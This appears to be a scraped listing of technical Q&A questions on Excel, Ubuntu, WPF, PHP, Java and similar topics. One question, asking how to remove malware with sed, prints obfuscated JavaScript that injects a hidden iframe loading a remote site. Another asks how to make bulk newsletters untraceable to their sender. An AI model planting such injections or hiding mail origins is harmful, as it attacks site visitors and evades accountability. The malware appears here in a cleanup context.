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  • Can I filter multiple column headers to display subheadings of each in Excel?

    - by Gigi
    I can't seem to find this anywhere... it may not even be possible without coding? I have a spreadsheet containing more than one heading in a single column. These headings are identified with blue background and white font. Each of these headings have items listed below them. These "subheadings" are smaller, auto-black font and no fill background. Currently I have to scroll down the spreadsheet to view all headers and their contents. How do I create a filter that would allow me to sort on whichever header I want, so that (only) the contents of that particular header are displayed?

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  • How can I remove malware code in multiple files with sed?

    - by user47556
    I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

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  • Slow running Ubuntu 10.10 laptop

    - by user5978
    Hello everyone. I have a slow computer. When I click on an icon say Firefox it can take 10 seconds to load. when I minimize and maximize windows you can see it happening. I get "ghost" screens where you see the window outline of the box but nothing in it or it may be white. The laptop is two years old and has these specs: Intel core two duo 2.8GHZ CPU 4GB RAM 500GB HDD 512MB Nvidia 8600GT video Realtek HD audio What is going on and where should I start looking for issues? Ubuntu 10.10 was upgraded from 10.04LTS following the instructions from the Ubuntu Wiki and it was done through the update manager GUI, not the CLI. Thanks for the help.

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  • How can I repair a Windows 7 Bootloader without a Window 7 Disc?

    - by Solignis
    I have a bit of a problem, I got my boss's laptop next to me and it won't boot. He told me it had hard crashed so he... you are going to love this... removed the battery. So when it put it back in and turned on the machine it gets past POST ("The Toshiba Screen") but I just get a flashing white prompt then it disappears and sits there. I don't have the original CDs. What can I do? I do have an Ubuntu CD and a few other Linux CDs like Gparted and Clonezilla. Is there anything I can do?

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  • Setting a DataGrid background color based on the previous row

    - by Zipper
    I'm trying to setup a grid where I do column sorting, but I wanted to do zebra striping, only rather than every other row or every x rows, I want it to be based on the value of cells. i.e. All cells that contain 0 have a blue background, the next value would have a white background, the next value would be blue, etc.... The problem I have is that I can't seem to find where to actually do the setting of the background colors. I'm using a custom sorter and I tried setting it in there after I re-order the list and set the data source, but it appears that when the data source is set, that the rows don't exist yet. I tried using the DataContextChanged, but that event doesn't seem to be firing. Here is what I have now. namespace Foo.Bar { public partial class FooBar { List<Bla> ResultList { get; set; } SolidColorBrush stripeOneColor = new SolidColorBrush(Colors.Gold); SolidColorBrush stripeTwoColor = new SolidColorBrush(Colors.White); //********************************************************************************************* public Consistency() { InitializeComponent(); } //********************************************************************************************* override protected void PopulateTabWithData() { ResultList = GetBlas(); SortAndGroup("Source"); } //********************************************************************************************* private void SortAndGroup(string colName) { IOrderedEnumerable <Bla> ordered = null; switch (colName) { case "Source": case "ID": ordered = ResultList.OrderBy(r => r.Source).ThenBy(r => r.ID); break; case "Name": ordered = ResultList.OrderBy(r => r.Source).ThenBy(r => r.Name); break; case "Message": ordered = ResultList.OrderBy(r => r.Message); break; default: throw new Exception(colName); } ResultList = ordered.ThenBy(r => r.Source).ThenBy(r => r.ID).ToList(); // tie-breakers consistencyDataGrid.ItemsSource = null; consistencyDataGrid.ItemsSource = ResultList; ColorRows(); } //********************************************************************************************* private void consistencyDataGrid_Sorting(object sender, System.Windows.Controls.DataGridSortingEventArgs e) { SortAndGroup(e.Column.Header.ToString()); e.Handled = true; } private void ColorRows() { for (var i = 0; i < ResultList.Count; i++) { var currentItem = ResultList[i]; var row = myDataGrid.ItemContainerGenerator.ContainerFromItem(currentItem) as DataGridRow; if (row == null) { continue; } if (i > 0) { var previousItem = ResultList[i - 1]; var previousRow = myDataGrid.ItemContainerGenerator.ContainerFromItem(previousItem) as DataGridRow; if (currentItem.Source == previousItem.Source) { row.Background = previousRow.Background; } else { if (previousRow.Background == stripeOneColor) { row.Background = stripeTwoColor; } else { row.Background = stripeOneColor; } } } else { row.Background = stripeOneColor; } } } } } }

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  • Sqllite doesn' write a column

    - by user1904675
    I do this: DatabaseHelper dbHelper = new DatabaseHelper(context); dbHelper.getWritableDatabase(); String sql = "insert into "+getTableName()+("+DatabaseHelper.PRODUCT_MARK+","+DatabaseHelper.PRODUCT_NAME+") VALUES ('"+input.getMark()+"','"+input.getName()+"')"; System.out.println(sql); getDatabase().execSQL(sql); dbHelper.close(); The system print 12-14 16:53:33.857: I/System.out(1350): insert into product (pMark,name) VALUES ('aaaaa ','zz') But when I read from db the property mark is not valorized... Where is my mistake?

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  • Recovered video files won't play

    - by BioGeek
    I have an SD card with pictures and video which malfunctioned. I was able to recover the files with Photorec. The pictures are OK, but wen I try to open the vide files (*.mov extension) in get the following errors when I try to open them in the following programs Windows Media player: "Windows Media Player encountered a problem while playing the file" Quicktime: "Error -2048: Couldn't open the file because it is not a file that QuickTime understands" VLC: it shows the first frame of the video and the sound is just white noise The filesizes look correct so I presume the data is still in there. Is there any way to fix these recovered video files?

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  • A web application that uses someone else's mail server?

    - by John
    I'm building a web application, call it http://mywebapp.com, where a user should be able to create a newsletter and email it to everyone in his user account's contact list. So he can check mark all his friends, select an html template, fill in the body content, and send. The only catch to this is that after the user sends the email, the recipient must NOT be allowed to trace the source of the email back to http://mywebapp.com. The reason for this condition is because the user is a "reseller" of my business who wants to appear as if he's an independent business. If liability issues arise due to the reseller's unduly usage, I do not want to be caught up in the legal issues. Hence, I do not want anything about my business or technology to be traceable back to me by newsletter recipients. What's the best way to achieve this?

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  • Hidden Features of Google Guice

    - by Jon
    Google Guice provides some great dependency injection features. I came across the @Nullable feature recently which allows you to mark constructor arguments as optional (permitting null) since Guice does not permit these by default: e.g. public Person(String firstName, String lastName, @Nullable Phone phone) { this.firstName = checkNotNull(firstName, "firstName"); this.lastName = checkNotNull(lastName, "lastName"); this.phone = phone; } http://code.google.com/p/google-guice/wiki/UseNullable What are the other useful features of Guice (particularly the less obvious ones) that people use?

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  • Is there an easier way to reconcile a list of files and a directory with subfolders/files to find ch

    - by rwmnau
    I have a SQL Server table with a list of files (path + filename), and a folder with multiple layers and files in each layer. I'm looking for a way to reconcile the two without having to process the list twice. Currently, I'm doing this: For Each f as FileInfo In FileListFromDatabase If f.Exists is False, mark it as deleted in the database Next For Each f as FileInfo In RecursiveListOFFilesOnDisk If Not FileExistsInDatabase, then add it Next Is there a better way to do this? I'd like to avoid converting all the matching files (of which most will be) to FileInfo objects twice. Since I'm a T-SQL developer first, I'm picturing something like an OUTER JOIN of the two lists where they don't match. Something LINQ-ish?

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  • Python Textwrap - forcing 'hard' breaks

    - by Tom Werner
    I am trying to use textwrap to format an import file that is quite particular in how it is formatted. Basically, it is as follows (line length shortened for simplicity): abcdef <- Ok line abcdef ghijk <- Note leading space to indicate wrapped line lm Now, I have got code to work as follows: wrapper = TextWrapper(width=80, subsequent_indent=' ', break_long_words=True, break_on_hyphens=False) for l in lines: wrapline=wrapper.wrap(l) This works nearly perfectly, however, the text wrapping code doesn't do a hard break at the 80 character mark, it tries to be smart and break on a space (at approx 20 chars in). I have got round this by replacing all spaces in the string list with a unique character (#), wrapping them and then removing the character, but surely there must be a cleaner way? N.B Any possible answers need to work on Python 2.4 - sorry!

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  • DataContractAttribute with Shared Assembly

    - by Sanju
    Hi All, Is it necessary to decorate custom objects with [DataContract] and [DataMember] when using shared assemblies (as opposed to auto proxy generation)? The reason I ask is that I have encountered the following scenario: Suppose the following object is implemented in my service: public class baseClass { Guid _guid; public baseClass() { _guid = Guid.NewGuid() } public Guid ReturnGuid { get {return _guid;}} } public class newClass : baseClass { int _someValue; public newClass {} public int SomeValue { get {return _someValue;} set {_someValue = value;} } } [ServiceContract] public IService { [OperationContract] newClass SomeOperation(); } In my client (with shared assemblie) I can happily recieve and use a serialized newClass when SomeOperation is called - even though I have not marked it as a DataContract. However, as soon as I do mark it with DataContract and use DataMember then it complains that set is not implemented on ReturnGuid in the base class. Could somebody explain why it works fine when I do not decorate with DataContract and DataMember. Many thanks.

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  • Three Java classes: point out all the issues you can find!

    - by Sicarius
    I wrote three classes for a colleague of mine (I'm new at this job). They compile just fine, but he tells me there are "defects, bugs, and style problems." He wants me to print the files out and mark the problems such as the standard coding conventions, best practices, format, design, and logic. I wrote this code when I was extremely tired and I plan to rewrite it completely. My mistake was showing to it before looking it over myself again. However, he still wants me to do the markings on paper. Any input is greatly appreciated! The three Java classes ['Station.java', 'ParserInt.java', 'ParserException.java'] are uploaded here: http://www.megaupload.com/?d=N2CUVSV2

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  • User welcome message in php

    - by user225269
    How do I create a user welcome message in php. So that the user who has been logged on will be able to see his username. I have this code, but it doesn't seem to work. <?php $con = mysql_connect("localhost","root","nitoryolai123$%^"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("school", $con); $result = mysql_query("SELECT * FROM users WHERE Username='$username'"); while($row = mysql_fetch_array($result)) { echo $row['Username']; echo "<br />"; } ?> I'm trying to make use of the data that is inputted in this login form: <form name="form1" method="post" action="verifylogin.php"> <td> <table border="0" cellpadding="3" cellspacing="1" bgcolor=""> <tr> <td colspan="16" height="25" style="background:#5C915C; color:white; border:white 1px solid; text-align: left"><strong><font size="2">Login User</strong></td> </tr> <tr> <td width="30" height="35"><font size="2">Username:</td> <td width="30"><input name="myusername" type="text" id="idnum" maxlength="5"></td> </tr> <tr> <td width="30" height="35" ><font size="2">Password:</td> <td width="30"><input name="mypassword" type="password" id="lname" maxlength="15"></td> </tr> <td align="right" width="30"><td align="right" width="30"><input type="submit" name="Submit" value="Submit" /></td> <td align="right" width="30"><input type="reset" name="Reset" value="Reset"></td></td> </tr> </form> But this, verifylogin.php, seems to be in the way. <?php $host="localhost"; $username="root"; $password="nitoryolai123$%^"; $db_name="school"; $tbl_name="users"; mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB"); $myusername=$_POST['myusername']; $mypassword=$_POST['mypassword']; $myusername = stripslashes($myusername); $mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); $mypassword = mysql_real_escape_string($mypassword); $sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"; $result=mysql_query($sql); $count=mysql_num_rows($result); if($count==1){ session_register("myusername"); session_register("mypassword"); header("location:userpage.php"); } else { echo "Wrong Username or Password"; } ?> How do I do it? I always get this error when I run it: Notice: Undefined variable: username in C:\wamp\www\exp\userpage.php on line 53 Can you recommend of an easier on how I can achieve the same thing?

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  • submit a form and get json response

    - by ruhit
    I have made an application to convert text to image formate and its workingout well. Now I want json response when i fill the form of the html page, my html page is given below...Please help me to do this <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html lang="en"> <head> <title>kandarpa</title> </head> <div> <form action="img.php" method="get"><b>enter your text here:</b><br/> <textarea id="text" name="text" style=" background-color:inherit" cols="50" rows="10"></textarea><br/><br/> <input type="submit" value="Text to Image" name="submit"> </div><br/> <div> <tr> <td>Font Size</td> <td><select name="size"> <option value="8">8</option> <option value="12">12</option> <option value="18">18</option> <option value="24">24</option> <option value="32" selected="selected">32</option> <option value="48">48</option> <option value="64">64</option> </select></td> </tr> </div><br/> <div> <td>Font </td> <td><select name="font" id="font"> <option value="Fonts/arial.ttf">Arial</option> <option value="Fonts/times.ttf">Times New Roman</option> <option value="Fonts/tahoma.ttf">Tahoma</option> <option value="Fonts/Grand Stylus.ttf">Grand Stylus</option> <option value="Fonts/GARAIT.ttf">G</option> </select></td> </tr> </div><br/> <div> <td>Choose your Color </td> <td><select name="color" id="color"> <option value="white">white</option> <option value="black">black</option> <option value="grey">grey</option> <option value="red">red</option> </select></td> </tr> </div> <br/> <div> <td>Height </td> <input type="text" id="height" name="height"> </td><br/><br/> <td>Width</td> <input type="text" id="width" name="width"> </div> </form> </body> </html>

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  • What's the best multiple monitor setup I can buy for $500 and a macbook?

    - by kevinburke
    I've got a 13' white MacBook from 2008 and I'd like to run one or two external monitors, my budget is $500. I've tried to do research and this is what I was going to get - will these work OK? Two Diamond BVU195 HD USB Display Adapters (DVI and VGA with included DVI to VGA adapter) to plug into the USB port Two Dell ST2310 monitors One external USB hub so I don't use up both of my USB ports Will this work? I've read some people say it does and some people say it doesn't, but I don't know enough to say either way. Also do you have recommendations for a better monitor than the dell sd2310? what's the best setup I can buy for $500? Thanks very much for your help, Kevin

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  • Doing a POST with cURL but server shows GET

    - by user1798818
    I am trying to do a simple POST. I am using the code below but when I look at the server log it shows it is doing a POST instead of a GET. Any idea why? Code below. THanks, Mark $url = 'http://www.mydomain.com/api.php'; $ch = curl_init(); $data = array('name' => 'Foo', 'file' => '@path\file.jpg'); $headers = array( 'Content-Type: image/jpeg' ); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, '3'); curl_setopt($ch, CURLOPT_HEADER ,1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $result = curl_exec( $ch );

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  • What are the things Java got right?

    - by hamletdarcy
    What are the things that Java (the language and platform) got categorically right? In other words, what things are more recent programming languages preserving and carrying forward? Some easy answer are: garbage collection, a VM, lack of pointers, classloaders, reflection(?) What about language based answers? Please don't list the things Java did wrong, just right. (note by Mark Harrison) This is an interesting and useful question, especially for those of us who don't use java regularly. I'm voting for reopening. Please don't close as argumentative, as it doesn't seem to be causing any arguments.

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  • Why am I having trouble loading Ubuntu alongside Windows as an application?

    - by STEVE PEAVEY
    I have two good CD ISO files. Both load OK, but when I boot to Ubuntu the screen is fragmented by dozens of white lines. Program works but is useless. I'm running Windows XP SP3 on D201GLY MB, CELERON CPU 220 1.02 GHZ, 512 RAM What could be my problem? CPU? Not enough RAM? Or maybe even the graphics card? to be clearer i am trying to load either ubuntu 8.04 or 9.04 inside windows as an aplication from known GOOD cd's. trying to load with the wubi installer that is loaded on the cd's. sis mirage graphics 32mb vid prosser sis 662.

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  • Misbehavior in regular expression in VIM

    - by poissonbreaker
    I am having a problem with a regular expression on vim. I have a pattern as follows: http:\/\/\(\w\+\.\?\)\+ [matches http://(AS MANY WORDS FOLLOWED BY DOT OR NOT ENCOUNTERS) e.g. http://wd1.wd2.com] I have a text as follows: http://wd1.wd2.com/wd3 I am trying to make this substitution on it: s/\(http:\/\/\)\(\w\+\.\?\)\+/\1wd4.wd5.com and the result is http://wd4.wd5.com /wd3 (Notice the white space inserted at the end of the replacement) How can I avoid having this inserted space? I am afraid is a bug in the regexp engine but I am not sure.

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  • Is there an difference between transient properties defined in the data model, or in the custom subc

    - by mystify
    I was reading that setting the value of a transient property always results in marking the managed object as "dirty". However, what I don't get is this: If I make a subclass of NSManagedObject and use some extra properties which I don't need to be persistet, how does Core Data know about them and how can it mark the object as dirty when I access these? Again, they're not defined in the data model, so Core Data has no really good hint that they are there. Or does Core Data use some kind of introspection to analyze my custom class and figure out what properties I have in there?

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  • Okular (on Ubuntu 9.10) prints multiple pages per sheet (n-up) very small

    - by user23884
    I'm trying to print a set of beamer slides with multiple slides per page (4-up or 6-up). When I select 4 pages or 6 pages per sheet in the Okular print dialog, the pages print quite small (perhaps even tiny -- about 1.75" by 1.25") and leave significant white-space on the page. I can get around this behavior by using the pdfnup utility (in the pdfjam package); which will correctly generate a 4- or 6-up pdf file but it's annoying to generate a second pdf file when I should be able to accomplish this task from the print dialog. Details: Ubuntu 9.10 (Karmic), 64-bit, Color Postscript printer.

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  • Java blocking socket returning incomplete ByteBuffer

    - by evandro-carrenho
    I have a socketChannel configured as blocking, but when reading byte buffers of 5K from this socket, I get an incomplete buffer sometimes. ByteBuffer messageBody = ByteBuffer.allocate(5*1024); messageBody.mark(); messageBody.order(ByteOrder.BIG_ENDIAN); int msgByteCount = channel.read(messageBody); Ocasionally, messageBody is not completely filled and channel.read() does not return -1 or an exception, but the actual number of bytes read (which is less than 5k). Has anyone experienced a similar problem?

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  • Google Chrome not using local cache

    - by Steve
    Hi. I've been using Google Chrome as a substitute for Firefox not being able to handle having lots of tabs open at the same time. Unfortunately, it looks like Chrome is having the same problem. Freakin useless. I had to end Chrome as my whole system had slowed to a crawl. When I restarted it, I opted to restore the tabs that were last open. At this stage, every one of the 20+ tabs srated downloading the pages they had previously had open. My question is: why can't they open a locally stored/saved copy of the web page from cache? Does Google Chrome store pages in a cache? Also: after most of the pages had completed their downloading, I clicked on each tab to view the page. Half of them only display a white page, and I have to reload the page manually. What is causing this? Thanks for your help.

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  • Will this make the object thread-safe?

    - by sharptooth
    I have a native Visual C++ COM object and I need to make it completely thread-safe to be able to legally mark it as "free-threaded" in th system registry. Specifically I need to make sure that no more than one thread ever accesses any member variable of the object simultaneously. The catch is I'm almost sure that no sane consumer of my COM object will ever try to simultaneously use the object from more than one thread. So I want the solution as simple as possible as long as it meets the requirement above. Here's what I came up with. I add a mutex or critical section as a member variable of the object. Every COM-exposed method will acquire the mutex/section at the beginning and release before returning control. I understand that this solution doesn't provide fine-grained access and this might slow execution down, but since I suppose simultaneous access will not really occur I don't care of this. Will this solution suffice? Is there a simpler solution?

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